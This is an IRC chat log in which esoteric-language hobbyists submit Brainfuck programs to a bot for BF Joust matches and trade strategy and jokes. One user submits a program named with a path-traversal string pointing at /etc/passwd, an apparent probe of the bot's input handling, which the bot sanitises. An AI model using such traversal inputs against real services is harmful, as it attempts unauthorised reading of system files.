22:12:38 <Phantom_Hoover> ais523, that is the craziest thing ever.
22:12:39 <Lymia> elliott, evolving BF wouldn't be that bad... if your goal wasn't to kill human written bots.
22:12:40 <elliott> "Blushing is often used to show attraction"
22:12:52 <Lymia> elliott, we're talking about an anime.
22:12:56 <elliott> What else is used to show attraction, Bulbapedia?! Your list does not appear exhaustive!
22:13:02 <ais523> elliott: it's an attempt to figure out minor details of an anime from other minor details of an anime
22:13:07 <ais523> all the things on that list actually happened
22:13:08 <elliott> from the talk page: [[Can We take down all the Gay Shippings like palletShipping, Even with the warning, It just isn't right.--Quick Man 21:18, 14 May 2008 (UTC)]]
22:13:21 <Lymia> Where's my brain bleach.
22:13:33 <elliott> Lymia: you didn't get your lifetime's supply when you joined the Internet?
22:13:39 <Lymia> No.
22:13:43 <elliott> oh dear, not another lost shipment
22:13:49 <Lymia> I think I used it all up with NGE.
22:13:55 <elliott> Lymia: you'll have to call your ISP. in the meantime, I suggest unplugging your router/modem immediately
22:14:06 <Lymia> Or was it fanfiction.net
22:14:06 <Gregor> elliott: wtfbbq
22:15:04 <elliott> Gregor: I would ask what line you're referring to, but really, it's probably all of them
22:15:40 * Lymia gets an idea
22:16:14 <Lymia> Hmm.
22:16:22 <Lymia> The tape itself has a random length from 135 to 167 elements
22:16:23 <Gregor> elliott: Mainly "<elliott> from the talk page: [[Can We take down all the Gay Shippings like palletShipping, Even with the warning, It just isn't right.--Quick Man 21:18, 14 May 2008 (UTC)]]", taken entirely out of context because I'm not willing to logread
22:16:26 <Lymia> elliott, I see a roblem with BF joust.
22:16:35 <Gregor> Lymia: egojoust runs it with all tape lengths.
22:16:37 <Lymia> Wouldn't this mean that all programs would basicly start with 135 > or < commands.
22:16:42 <elliott> Lymia: no
22:16:45 <elliott> going off the end of the tape kills you
22:16:51 <Lymia> 135 is the minimum length.
22:16:54 <elliott> Lymia: wrong
22:16:57 <ais523> Lymia: they generally set up a few obstacles first, in order to make it harder for the other program to be able to tell where the end was
22:16:58 <elliott> http://esolangs.org/wiki/BF_Joust
22:17:03 <ais523> so you set up a fake flag, or whatever
22:17:03 <elliott> Lymia: see "The revised version"
22:17:05 <elliott> and note the egojoust section
22:17:09 <elliott> which includes my improvements
22:17:10 <elliott> that's the version we play
22:17:13 <Lymia> Ah.
22:17:16 <elliott> the original version was very flawed in that way
22:17:17 <ais523> but the version we use here uses shorter tapes
22:17:32 <ais523> such that you can either spend a long time setting up defenses, or rush to the other side to try to capture its flag before it can
22:17:46 <elliott> technically, the tape is every length from 10 to 30
22:17:50 <elliott> because of quantum!
22:18:02 <elliott> hmm, you could actually optimise that
22:18:04 <Gregor> Nondeterminism sucks :P
22:18:07 <Lymia> Eh, wait.
22:18:08 <elliott> run the program once
22:18:13 <elliott> and if it goes past tape element N
22:18:23 <elliott> note in all result structs with tape length of less than N that it crashed
22:18:24 <elliott> etc.
22:18:29 <ais523> I doubt it'd be worth the effort, possibly faster to do it the brutish way
22:18:34 <ais523> especially because of how the flags work
22:18:34 <elliott> probably
22:18:37 <Lymia> >+>->+>->+>->+>->+>-
22:18:45 <elliott> ais523: but if evolving, you want really quick execution
22:18:46 <Lymia> Couldn't you start with that to set up a decent wall of defences.
22:18:58 <elliott> Lymia: yes, but that won't fool a lot of the programs
22:18:58 <ais523> Lymia: indeed, many programs do that sort of thing
22:19:01 <elliott> some strategies are very advanced
22:19:05 <Lymia> >+>->+>->+>->+>->+>->[[-]>]
22:19:06 <Lymia> Then uke.
22:19:07 <Lymia> nuke*
22:19:09 <ais523> but most modern programs are aware of that, and have counters
22:19:13 <elliott> Lymia: that's the "obvious" strategy
22:19:15 <ais523> try it, if you like
22:19:23 <Lymia> !bfjoust stupid >+>->+>->+>->+>->+>->[[-]>]
22:19:27 <ais523> some of the best programs on the leaderboard are just improved versions of that
22:19:29 <elliott> this is the current highest-ranked BF Joust program: http://codu.org/eso/bfjoust/in_egobot/jix_wiggle3.bfjoust
22:19:31 <elliott> on the hill
22:19:39 <ais523> some are very different, like defend7
22:19:42 <EgoBot> Score for Lymia_stupid: 2.6
22:19:44 <elliott> rushpolarity is IIRC pretty crazy
22:19:49 <elliott> tripwire2 is very unconventional
22:19:50 <elliott> IIRC
22:19:55 <elliott> http://codu.org/eso/bfjoust/in_egobot/ais523_tripwire2.bfjoust
22:20:04 <Gregor> PS my system of calculating scores is downright inspired :P
22:20:04 * Phantom_Hoover Googles Gnomeo and Juliet for much the same reason that none of Lovecraft's protagonists didn't just go home and have a cup of tea.
22:20:10 <ais523> tripwire programs are hilarious
22:20:15 <elliott> slowrush is just weird: http://codu.org/eso/bfjoust/in_egobot/myndzi_slowrush.bfjoust
22:20:24 <Gregor> Phantom_Hoover: lol
22:20:31 <ais523> defend7 is more unconventional than tripwire, though
22:20:36 <elliott> Phantom_Hoover: *just went
22:20:39 <elliott> not didn't just
22:20:42 <ais523> and defend9 is just too massively complex for its own good
22:20:48 <elliott> *just went home, that is
22:20:53 <Phantom_Hoover> elliott, yes, I know.
22:20:56 <Gregor> elliott: Didn't you just not go and don't gone fixin' none grammar?
22:20:57 <elliott> Lymia: http://codu.org/eso/bfjoust/in_egobot/ais523_defend7.bfjoust
22:21:05 <Phantom_Hoover> I was constructing a regex for that and you RUINED it!
22:21:11 <Lymia> I see that programs get complicated.
22:21:12 <Lymia> :v
22:21:13 <elliott> the end of defend7 (past the loop) is just insane
22:21:17 <elliott> Gregor: :D
22:21:24 <elliott> Lymia: oh, not really
22:21:29 <elliott> Lymia: this is the result of like a month of competition
22:21:33 <Lymia> Ah.
22:21:36 <elliott> the hill's been static for a while now
22:21:39 <ais523> defend7 probably has a record for a low number of loops in a successful program
22:21:43 <elliott> because almost all strategies are represented in a very good form
22:21:50 <ais523> there's just the one
22:21:57 <elliott> indeed
22:22:10 <Lymia> So.
22:22:22 <elliott> get strategising!
22:22:23 <ais523> defend7 is probably clearer commented, but it was IIRC autogenerated
22:22:47 <Gregor> <elliott> this is the current highest-ranked BF Joust program: http://codu.org/eso/bfjoust/in_egobot/jix_wiggle3.bfjoust // not true btw, slowrush is because my system of calculating scores is downright inspired :P
22:22:48 <Lymia> Basicly, you can't afford to go more than 10 steps without checking to make sure you're not stepping off the edge.
22:22:54 <ais523> that's it
22:23:00 <elliott> err, no
22:23:03 <elliott> 15 56.67 10.71 jix_wiggle3.bfjoust
22:23:03 <elliott> 19 56.59 9.21 myndzi_slowrush.bfjoust
22:23:04 <elliott> when i said that
22:23:11 <elliott> /now/ it's at the top
22:23:13 <ais523> and there's no 100% reliable way to check that you're stepping off the edge
22:23:14 <elliott> because lymia's stupid is still there
22:23:26 <elliott> Gregor: proposal: if the program you submit ends up at the bottom
22:23:31 <elliott> the action is cancelled
22:23:45 <Lymia> Heh.
22:23:50 <elliott> ais523: yes there is, if you destroy the tape to make a counter
22:23:51 <ais523> anyway, basic program types: fast rush programs that just try to clear obstacles and sink the flag as fast as possible; defense programs that try to detect the fast rush programs coming and either pin them in place, or trick them off the end of the tape; slow rush programs that are more cautious and don't fall for the defense program tricks
22:23:55 <elliott> well, assuming your opponent isn't fucking with the tape cells
22:23:56 <Lymia> For some reason, I want to make a programming game involving danmaku.
22:24:01 <ais523> elliott: that's a bad assumption
22:24:04 <elliott> well, eys :)
22:24:05 <elliott> *yes
22:24:12 <Gregor> elliott: *eh*, I think the case that it's significant enough to tip the balance between two major players is rare enough (although seen right here) that it doesn't matter *shrugs*
22:24:23 <ais523> the various vibration programs are all about fucking with the tape cells, as you put it
22:24:28 <ais523> although they rarely do all that well
22:24:30 <Lymia> ais523, how do you trick things off the end of the tape?
22:24:34 <elliott> "as you put it" :D
22:24:40 <elliott> in the elegant words of elliott!
22:24:52 <Lymia> That is, without destroying your flag.
22:25:06 <elliott> Lymia: difficultly
22:25:09 <ais523> Lymia: well, most programs move forwards until they see something nonzero, then zero it, then move on further
22:25:18 <elliott> Lymia: basically, set your flag to 0
22:25:20 <elliott> then increment it next turn
22:25:23 <Lymia> Ah.
22:25:24 <ais523> so one approach is vibration-style, where you set your flag to 0 every second cycle and hope they miss it
22:25:25 <elliott> you only die if your flag is 0 for two turns
22:25:26 <elliott> so this works
22:25:32 <elliott> (why is that btw, ais523?)
22:25:32 <Lymia> I wonder.
22:25:38 <Gregor> !bfjoust bestEver >+[[]+]
22:25:40 <elliott> (was it just so you could do vibration? :)
22:25:42 <ais523> elliott: precisely so that strategy works
22:25:42 <elliott> *))
22:25:43 <Lymia> !bfjoust cirno [[-]+]
22:25:45 <elliott> ais523: hmm
22:25:50 <ais523> actually, I was thinking more along the lines of defend7
22:25:51 <EgoBot> Score for Gregor_bestEver: 9.2
22:25:56 <Gregor> YESSSSSSSS
22:25:57 <elliott> ais523: well, it seems to have increased the strategies, but it seems like changing the law to allow the strategy :)
22:25:57 <ais523> which tries to push the flag /past/ 0
22:25:58 <elliott> which is just weird
22:26:02 <elliott> Gregor: BEST EVER
22:26:09 <ais523> elliott: it was basically to make defense programs viable somehow
22:26:15 <ais523> as they give multiple options for escaping from a zeroed flag
22:26:18 <EgoBot> Score for Lymia_cirno: 7.6
22:26:22 <Gregor> !bfjoust zeroPoints <
22:26:32 <EgoBot> Score for Gregor_zeroPoints: 0.0
22:26:37 <Gregor> YESSSSSSSSSSS
22:26:50 <ais523> Lymia: cirno will set the flag to 0 (one cycle), then check if it's 0 (one cycle)
22:26:52 <ais523> and at that point die
22:27:08 <Deewiant> Gregor: -20 points, not zero; that's the score
22:27:19 <Lymia> ais523, ah.
22:27:20 <elliott> !bfjoust magic ]
22:27:21 <Gregor> Deewiant: I forgot how points were calculated X-P
22:27:30 <elliott> Gregor: Too INSPIRED for human minds, even yours.
22:27:35 <EgoBot> Score for elliott_magic: 12.2
22:27:35 <ais523> and that law change was an attempt to increase the strategy width by making it possible to push beyond 0 or to fake a 0
22:27:42 <Gregor> !bfjoust shitPile [>[+]]
22:27:47 <elliott> 12.2!
22:27:48 <Gregor> Wait, that's all wrong :P
22:27:49 <ais523> elliott: I think EgoBot just ignores unmatched brackets
22:27:49 <elliott> that's better than bestEVer
22:27:51 <elliott> *bestEver
22:27:51 <Gregor> Even for shitPile
22:27:55 <elliott> Gregor: dude, we use underscores
22:27:56 <elliott> not camel-case
22:28:00 <EgoBot> Score for Gregor_shitPile: 12.2
22:28:00 <elliott> you bad person
22:28:04 <Gregor> elliott: FUCK YOUR UNDERSCORES
22:28:16 <ais523> well, at least shitPile sets up a decoy, and can potentially trap an opponent doing [-]
22:28:18 <Gregor> !bfjoust shit_pile [>+[+]+]
22:28:42 <Gregor> You can tell how much I'm trying here :P
22:28:51 <Lymia> I wonder.
22:28:52 <elliott> !bfjoust (>-)*5[](<)*5(+-)*128
22:28:52 <EgoBot> Score for Gregor_shit_pile: 5.0
22:28:52 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
22:28:53 <oerjan> HackEgo cannot factor 56657856797822194249 :(
22:28:55 <ais523> Gregor: slowest rush progam I've ever seen
22:29:06 <ais523> oerjan: you've been doing that all day?
22:29:06 <elliott> !bfjoust poop_house (>-)*5[](<)*5(+-)*128
22:29:10 <elliott> oerjan: wat
22:29:20 <oerjan> ais523: this base 8 case is proving even worse than base 10 :D
22:29:22 <EgoBot> Score for elliott_poop_house: 4.1
22:29:26 <elliott> YAY
22:29:27 <elliott> 4.1
22:29:28 <elliott> WHY SO BAD
22:29:29 <Lymia> Is Egobot's BF Joust intretper publicly available?
22:29:31 <ais523> EgoBot: that vibration should probably last longer than 128
22:29:31 <Gregor> !bfjoust multiples_of_two [++]
22:29:33 <elliott> Lymia: yes
22:29:34 <oerjan> ais523: well i've not done it very optimally
22:29:37 <ais523> Lymia: it is, although I forget where offhand
22:29:37 <elliott> all parts of egobot are
22:29:40 <elliott> ask Gregor for the link :P
22:29:44 <Gregor> Lymia: https://codu.org/projects/egobot/hg/
22:29:50 <elliott> ais523: EgoBot thanks you for the help
22:29:53 <elliott> but thinks you might mean elliott
22:29:53 <EgoBot> Score for Gregor_multiples_of_two: 8.5
22:29:58 <Gregor> YESSSSSSSSSSSSS
22:29:59 <oerjan> ais523: i'm down to three remaining cases: 10*1, 1* and 61*
22:30:00 <ais523> oerjan: I'm just surprised you were so patient at it, most people would have got bored by now
22:30:01 <elliott> !bfjoust poop_house (>-)*5[](<)*5(+-)*4096
22:30:06 <elliott> Gregor: X-D
22:30:16 <Lymia> !bfjoust multiples-of-three [+++]
22:30:17 <EgoBot> Score for elliott_poop_house: 4.1
22:30:20 <ais523> !bfjoust multiples_of_two_plus_one +[++]
22:30:21 <elliott> OH YEAH
22:30:22 <elliott> 4.1
22:30:22 <elliott> WHY SO BAD
22:30:34 <oerjan> and 22 octal digits
22:30:35 <Lymia> elliott.
22:30:36 <Gregor> Oh yeah, it's 128 on each end
22:30:40 <Gregor> I thought 127 for some reason.
22:30:41 <elliott> Gregor: :hurr:
22:30:41 <EgoBot> Score for ais523_multiples_of_two_plus_one: 14.4
22:30:42 <EgoBot> Score for Lymia_multiples-of-three: 7.0
22:30:42 -!- hagb4rd has quit (Ping timeout: 240 seconds).
22:30:43 <Lymia> What happens when a program reaches it's end.
22:30:49 <Gregor> So mine just guaranteed a loss :P
22:30:49 <elliott> Lymia: I think you d ie
22:30:50 <elliott> *die
22:30:52 <ais523> it does nothing forever
22:31:00 <Gregor> !bfjoust do_nothing_forever
22:31:01 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
22:31:01 <Lymia> !bfjoust multiples-of-three-2 [[+++]+]
22:31:01 <elliott> ah
22:31:04 <Gregor> !bfjoust do_nothing_forever >
22:31:05 <ais523> so it just sits there; it won't fall off, but its flag is a sitting duck
22:31:08 <EgoBot> Score for Lymia_multiples-of-three-2: 7.7
22:31:09 <ais523> Gregor: you can use . for a no-op
22:31:13 <ais523> that takes a cycle
22:31:15 <Gregor> Ohyeah, forgot .
22:31:17 <elliott> ais523: why is poop house so bad?
22:31:19 <EgoBot> Score for Gregor_do_nothing_forever: 13.2
22:31:37 <oerjan> so far base 8: 2, 3, 5, 7, 141 (97), 161 (113), 401 (257), 661 (433), 1101 (577), 4611 (2441), 6101 (3137), 6441 (3361), 60411 (24841), 101111 (33353), 444641 (149921), 600111 (196681), 1000011 (262153), 1000111 (262217), 4411111 (1184329), 64111111 (13668937), 444444441 (76695841), 601111111 (100962889), 41111111111111111 (1166110617801289), ...
22:31:45 <Gregor> !bfjoust suicidal [-]
22:31:45 <ais523> elliott: mostly because it doesn't even beat tripwire
22:31:53 <elliott> ais523: :(
22:31:53 <ais523> which loses to a do-nothing because it's hilarious like that
22:32:00 <elliott> ais523: but anyone who runs towards it is a stupid!
22:32:02 <ais523> tripwire is basically just trolling
22:32:09 <Lymia> !bfjoust hug [-]
22:32:14 <ais523> or, rather, doing insane amounts of psychology
22:32:22 <impomatic> !bfjoust wildfire (>+)*9(>[(-)*128[-]])*20
22:32:24 <elliott> !bfjoust poop_house (>-)*5[](<)*5(+-)*10(>)*9[[[-]>]+]
22:32:29 <ais523> it assumes the opponent will set up decoys, and uses them in an attempt to judge the location of the enemy flag
22:32:40 <Lymia> So.
22:32:50 <ais523> elliott: 10 turns of vibration won't trick the opponent off the end
22:32:51 <Lymia> I want to try and code an evolver for BF Joust.
22:32:54 <Lymia> How idiotic am I?
22:32:55 <elliott> hurry up, poop_house!
22:32:59 <elliott> ais523: no, but it will slow them down, maybe!
22:33:06 <elliott> Lymia: stop talking about wanting to do it and do it :)
22:33:08 <ais523> Lymia: probably not massively idiotic; I've had thoughts along those lines myself
22:33:10 <elliott> you can use egojoust for the purpose, most likely
22:33:11 <impomatic> Hurry up Wildfire!
22:33:11 <EgoBot> Score for elliott_poop_house: 9.9
22:33:11 <EgoBot> Score for Lymia_hug: 8.6
22:33:12 <EgoBot> Score for Gregor_suicidal: 8.6
22:33:12 <EgoBot> Score for impomatic_wildfire: 22.3
22:33:14 <elliott> 9.9
22:33:15 <elliott> OH YEAH
22:33:17 <elliott> BEST PROGRAM
22:33:18 <Lymia> elliott, well.
22:33:19 <Gregor> !bfjoust i_hope_you_subtract +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
22:33:19 <elliott> BEATS EVEN SUICIDAL AND HUG
22:33:26 <ais523> impomatic: I think you're the only person working today who's actually trying
22:33:30 <ais523> Gregor: that would work better with RLE
22:33:30 <elliott> hey
22:33:31 <elliott> i tried
22:33:33 <elliott> i'm just really bad
22:33:37 <EgoBot> Score for Gregor_i_hope_you_subtract: 12.0
22:33:40 <Lymia> I have to figure out how to do loops.
22:33:43 <Lymia> I'm thinking of doing this.
22:33:47 <Lymia> Treat loops as semi-opcodes.
22:34:01 <Lymia> And their contents are mutated the same as the program as a whoel.
22:34:02 <Lymia> whole*
22:34:03 <ais523> you could do it like FYB and just ignore unmatched [ and ]
22:34:25 <Lymia> Does EgoBot do that?
22:34:42 <impomatic> !bfjoust wildfire >(>+++>---)*4(>[(-)*128[-]])*20
22:34:42 <Gregor> Trying to evolve it with no structure is likely to cause MADNESS.
22:34:52 <EgoBot> Score for impomatic_wildfire: 13.9
22:34:53 <Lymia> ais523, I do expect to get better results from keeping loops intact though.
22:34:54 <Gregor> Ohyeah, I forgot about RLE :P
22:35:03 <Gregor> !bfjoust i_hope_you_add -*127
22:35:09 <ais523> parens on *
22:35:12 <ais523> so (-)*127
22:35:16 <Gregor> Oh
22:35:18 <EgoBot> Score for Gregor_i_hope_you_add: 12.4
22:35:20 <Gregor> !bfjoust i_hope_you_add (-)*127
22:35:21 <Lymia> !bfjoust slow-suicide (>)*31
22:35:35 <ais523> actually, you probably didn't remember that rule when you wrote egojoust, so without the parens likely works just fine
22:35:43 <EgoBot> Score for Lymia_slow-suicide: 0.0
22:35:43 <EgoBot> Score for Gregor_i_hope_you_add: 12.8
22:35:43 <elliott> ais523: do it without keeping loops balanced, it'll be amusing
22:36:05 <elliott> !bfjoust poop_cauldron ((+)*3(-)*3)*127
22:36:19 <Lymia> What's with your vulgar names?
22:36:22 <EgoBot> Score for elliott_poop_cauldron: 15.9
22:36:24 <ais523> elliott: put the repeat count up to 100000 or so if you're writing a program like that
22:36:29 <elliott> Lymia: "poop" is vulgar?
22:36:31 <ais523> Lymia: elliott uses swear words as metasyntactic variables
22:36:32 <Lymia> No.
22:36:33 <Lymia> =p
22:36:33 <Gregor> !bfjoust i_hope_you_FAIL [(-)*127(+)*254(-)*127]
22:36:46 <elliott> Man, I woke up in a strange new world where "poop" is a swear word.
22:36:50 <elliott> "You're so... poop."
22:36:56 <Lymia> !bfjoust idiotic (((++)*256)*256)*256
22:37:04 <ais523> Gregor: that's vaguely how defend7 works, except it lets the opponent do the (+)*254 and kills the opposing flag meanwhile
22:37:04 <elliott> 15.9, not bad!
22:37:08 <elliott> we're putting bad programs on the hill
22:37:11 <elliott> and then battling them against each other
22:37:14 <elliott> all the good programs are going to die out
22:37:24 <Gregor> lol
22:37:26 <ais523> nah, because the good programs will beat the bad ones easily
22:37:32 <Lymia> Did I crash Egobot?
22:37:33 <Lymia> :v
22:37:39 <ais523> nah, it's just busy
22:37:41 <EgoBot> Score for Lymia_idiotic: 11.6
22:37:41 <EgoBot> Score for Gregor_i_hope_you_FAIL: 11.3
22:37:56 <Lymia> !bfjoust idiotic02 ((((((++)*256)*256)*256)*256)*256)*256
22:38:00 <ais523> they're getting close to toppling vibration2
22:38:10 <ais523> but I don't think vibration is actually a viable strategy
22:38:17 <ais523> so it counts as a bad program too
22:38:34 <EgoBot> Score for Lymia_idiotic02: 12.7
22:38:36 <Lymia> What does vibration do?
22:38:44 <Gregor> !bfjoust in_my_mind_this_makes_sense >(+)*127[[>+<-]>]
22:38:53 <Phantom_Hoover> ais523, what's vibration?
22:38:54 <ais523> basically sets the counter to 0 every other turn, in the hope the opponent will miss it altogether
22:38:59 <EgoBot> Score for Gregor_in_my_mind_this_makes_sense: 10.5
22:39:06 <elliott> apparently, it's my reddit birthday
22:39:08 <ais523> it's a pretty flawed strategy, as it's too liable to being killed by mistake
22:39:11 <Lymia> !bfjoust insanely-large-number (+)*100000000000000
22:39:13 <impomatic> !bfjoust wildfire (>-)*9(>[+++[-[-[--[-[-[[(-)*125[-]]]]]]]]])*20
22:39:20 <elliott> apparently, i've been wasting my time for four years
22:40:00 <Lymia> So.
22:40:02 <EgoBot> Score for Lymia_insanely-large-number: 12.3
22:40:02 <EgoBot> Score for impomatic_wildfire: 26.9
22:40:03 * Sgeo steals elliott's cake
22:40:04 -!- TLUL has changed nick to Ajfrabbitz.
22:40:06 <Lymia> Does insanely-large-nuber count as malicious intent.
22:40:07 <Lymia> ALso.
22:40:09 <Lymia> Why does it win at all.
22:40:13 <ais523> impomatic: that (-)*125 looks a little suspicious
22:40:18 <ais523> Lymia: it'll beat tripwire
22:40:27 <ais523> tripwire is famous for beating good programs and losing for jokes
22:40:32 <elliott> woo
22:40:34 <elliott> i got 0.0
22:40:48 <ais523> basically, because it assumes that the first thing it encounters can't possibly be the real flag because no successful program wouldn't use decoys, but a decoy
22:40:52 <ais523> and then just rushes after that
22:40:57 <Gregor> !bfjoust wipe_your_mouth_out_with_soup (>)*10((-)*127>)*20
22:41:02 <Gregor> Even if that succeeds, it fails.
22:41:05 <EgoBot> Score for Gregor_wipe_your_mouth_out_with_soup: 0.0
22:41:13 <Gregor> Wow
22:41:15 <elliott> hey
22:41:18 <elliott> mine was better at getting 0.0
22:41:23 <elliott> <elliott> !bfjoust spotless_interior (->)*7(<(+)*10<(-)*10)*7
22:41:23 <elliott> <EgoBot> Score for elliott_spotless_interior: 0.0
22:41:26 <impomatic> ais523: I think *125 is right... before that it adds 3 then subtracts 6
22:41:30 <elliott> (I thought that strategy might actually work, kinda)
22:41:39 <ais523> Gregor: change it from 20 > to 19 >
22:41:47 <Gregor> !bfjoust wipe_your_mouth_out_with_soup (>)*10((-)*127.>)*19
22:41:56 <EgoBot> Score for Gregor_wipe_your_mouth_out_with_soup: 0.0
22:42:01 <Gregor> I didn't give it a moment to succeed, so if I zero'd the flag, I'd walk off the end anyway :P
22:42:03 <ais523> impomatic: but say if the opponent used +4 as an obstacle, you'd go and set the value all the way to -128, then all the way up to +0 again
22:42:11 <ais523> first at full speed, then at half speed
22:42:14 <elliott> !bfjoust spotless_interior (->)*7(<+<-)*3<(+-)*128
22:42:17 <ais523> hmm, I suppose that's no worse than what many other langs do
22:42:28 <elliott> ais523: langs?
22:42:28 <EgoBot> Score for elliott_spotless_interior: 3.7
22:42:32 <ais523> err, programs
22:42:32 <elliott> 3.7
22:42:33 <elliott> OH YEAH
22:42:35 <Lymia> !bfjoust i-would-rather-die-by-my-own-hand (-)*128<
22:42:43 <EgoBot> Score for Lymia_i-would-rather-die-by-my-own-hand: 7.9
22:42:49 <ais523> Lymia: that probably /still/ beats tripwire
22:42:53 <Gregor> !bfjoust wash_your_mouth_out_with_soup (>)*10((-)*128.>)*19
22:43:02 <EgoBot> Score for Gregor_wash_your_mouth_out_with_soup: 0.1
22:43:06 <Gregor> YESSSSSSSSSSSSSSSSS
22:43:24 <Gregor> I won against defend7 :P
22:43:32 <impomatic> !bfjoust lesswild (>-)*9(>[++++++[-[-[-[-[-[--[-[-[-[-[-[[(-)*122[-]]]]]]]]]]]]]]])*20
22:43:40 <EgoBot> Score for impomatic_lesswild: 27.0
22:43:44 <elliott> !bfjoust and_i_will_bring_you_with_me_on_our_fiery_path_to_the_demolishment_of_terms (>->+)*4(<)*8[(-)*128]
22:44:00 <elliott> i think i overflowed its name buffer
22:44:00 <EgoBot> Score for elliott_and_i_will_bring_you_with_me_on_our_fiery_path_to_the_demolishment_of_terms: 0.3
22:44:02 <elliott> WOO
22:44:02 <elliott> 0.3
22:44:07 <elliott> HELLS YEAH
22:44:27 <ais523> time for me to go home, anyway
22:44:36 <ais523> I need to get some work done; and it may even be esolang-related
22:44:49 -!- ais523 has quit (Remote host closed the connection).
22:44:50 <impomatic> !bfjoust wilddecoy >----------(>)*8(>[++++++[-[-[-[-[-[--[-[-[-[-[-[[(-)*122[-]]]]]]]]]]]]]]])*20
22:44:55 <Gregor> !bfjoust jello >+[<(-+)*100>+]
22:44:59 <Lymia> !bfjoust !bfjoust cirno (>->+)*10([-]>)*100
22:45:01 <Lymia> erm
22:45:09 <Lymia> !bfjoust cirno (>->+)*10([-]>)*100
22:45:15 <EgoBot> Score for impomatic_wilddecoy: 35.1
22:45:15 <EgoBot> Score for Gregor_jello: 5.8
22:45:16 <EgoBot> Score for Lymia__bfjoust: 0.1
22:45:19 <elliott> :D
22:45:27 <elliott> impomatic is actually doing well and we are being terrible
22:45:27 <EgoBot> Score for Lymia_cirno: 0.0
22:45:31 <Gregor> _bfjoust is a pretty good name.
22:45:57 <Lymia> !bfjoust tripwire-will-lose ([-]>)*100
22:45:57 <elliott> !bfjoust (->)*4<-(-{>+}[+>-<->>])%4[-(+)*3]
22:45:58 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
22:46:06 <elliott> !bfjoust accidental_stare_into_pit_over_void (->)*4<-(-{>+}[+>-<->>])%4[-(+)*3]
22:46:11 <elliott> Lymia: underscores, dammit!
22:46:13 <EgoBot> Score for Lymia_tripwire-will-lose: 9.0
22:46:24 <Lymia> elliott, what's wrong with dashes?
22:46:25 <EgoBot> Score for elliott_accidental_stare_into_pit_over_void: 3.2
22:46:27 -!- kar8nga has quit (Remote host closed the connection).
22:46:35 <Gregor> !bfjoust NO_U +
22:46:37 <elliott> Lymia: because it turns into "Lymia_foo-bar-baz" which is ugly :P
22:46:38 <elliott> 3.2
22:46:39 <elliott> not bad
22:46:40 <Lymia> Ah.
22:46:43 <Lymia> :V
22:46:48 <EgoBot> Score for Gregor_NO_U: 11.4
22:46:51 <Gregor> lol'
22:47:02 <elliott> xD
22:47:16 <elliott> !bfjoust poop_emporium .
22:47:31 <EgoBot> Score for elliott_poop_emporium: 10.4
22:47:39 <elliott> OH YEAH
22:47:44 <Gregor> !bfjoust secret_instant_win_op *
22:47:57 <elliott> Gregor: PUT A BACKDOOR INTO EGOJOUST
22:48:01 <EgoBot> Score for Gregor_secret_instant_win_op: 9.6
22:48:03 <Lymia> !bfjoust ../../../../../../../../../etc/passwd .
22:48:04 <impomatic> !bfjoust sexyghoul >(-)*10>(+)*10(>)*7(>[++++++++[-[-[-[-[-[-[--[-[-[-[-[-[-[[(-)*121[-]]]]]]]]]]]]]]]]])*20
22:48:09 <elliott> !bfjoust poop_shopping_centre ((.{.}.)%74)*9
22:48:23 <elliott> sexyghoul? your naming convention is rather arbitrary :D
22:48:36 <Gregor> !bfjoust tits (.)(.)
22:48:41 <EgoBot> Score for impomatic_sexyghoul: 30.1
22:48:41 <EgoBot> Score for elliott_poop_shopping_centre: 8.0
22:48:41 <EgoBot> Score for Lymia____________________________etc_passwd: 8.0
22:48:44 <elliott> 8.0
22:48:45 <EgoBot> Score for Gregor_tits: 0.0
22:48:46 <elliott> 8. FUCKING 0
22:48:48 <elliott> HOW DID THAT EVEN HAPPEN
22:48:50 <elliott> IT WAS A BUNCH OF NOPS
22:48:53 <elliott> HOW
22:49:03 <elliott> link to report.txt :P
22:49:08 <Lymia> Tripwire
22:49:12 <Deewiant> http://codu.org/eso/bfjoust/report.txt
22:49:49 <elliott> Dude...
22:49:52 <elliott> We have totally shitted up the hill.
22:50:11 <Gregor> lol
22:50:17 <Gregor> !bfjoust ruh_roh .
22:50:19 <Lymia> 18 | - + + + + + - - 0low.bfjoust
22:50:21 <elliott> !bfjoust poop_box (.)*999999999999999999
22:50:23 <Lymia> What the heck happened here.
22:50:30 <elliott> Lymia: wat
22:50:44 <impomatic> !bfjoust sexyghoul >(-)*9>(+)*9(>)*7(>[++++++[-[-[-[-[-[--[-[-[-[-[-[(-)*122[-]]]]]]]]]]]]]])*20[-]
22:50:44 <Gregor> It was probably running two instances at once and got screwy :P
22:50:50 <Sgeo> Maybe bfjoust sucks as a game
22:50:54 * Sgeo ducks
22:51:03 <elliott> !bfjoust poop_encapsulating_object_oriented_dynamism_to_leverage_synergy (.)*18446744073709551617
22:51:17 <Lymia> !bfjoust d_oh >*10[[]>][[]>][[-]>]
22:51:37 <Gregor> I should make a system where you write a bot to play nethack, and see who can write the best said bot :P
22:51:44 <Lymia> Gregor, in Brainfuck.
22:51:53 <Phantom_Hoover> Lymia, no.
22:51:56 <Lymia> The tape contains your field of vision.
22:52:01 <Phantom_Hoover> Brainfuck is overused.
22:52:02 <elliott> <Gregor> I should make a system where you write a bot to play nethack, and see who can write the best said bot :P
22:52:03 <Lymia> . makes you output a character to input.
22:52:04 <elliott> Gregor: TAEB would win :P
22:52:07 <elliott> TAEB would win forever.
22:52:11 <EgoBot> Score for Lymia_d_oh: 6.7
22:52:11 <EgoBot> Score for Gregor_ruh_roh: 6.7
22:52:12 <EgoBot> Score for elliott_poop_encapsulating_object_oriented_dynamism_to_leverage_synergy: 6.7
22:52:12 <EgoBot> Score for elliott_poop_box: 6.7
22:52:12 <EgoBot> Score for impomatic_sexyghoul: 46.4
22:52:18 <elliott> 6.7
22:52:26 <elliott> 6.7 for the poop-encapsulating object-oriented dynamism to leverage synergy
22:52:32 * Sgeo falls in love with object-oriented poop
22:53:14 <Gregor> We need to hold up and let the hill settle with less people on it :P
22:53:20 <Gregor> Just let impomatic add something.
22:53:27 <elliott> impomatic: add GENIOSITY
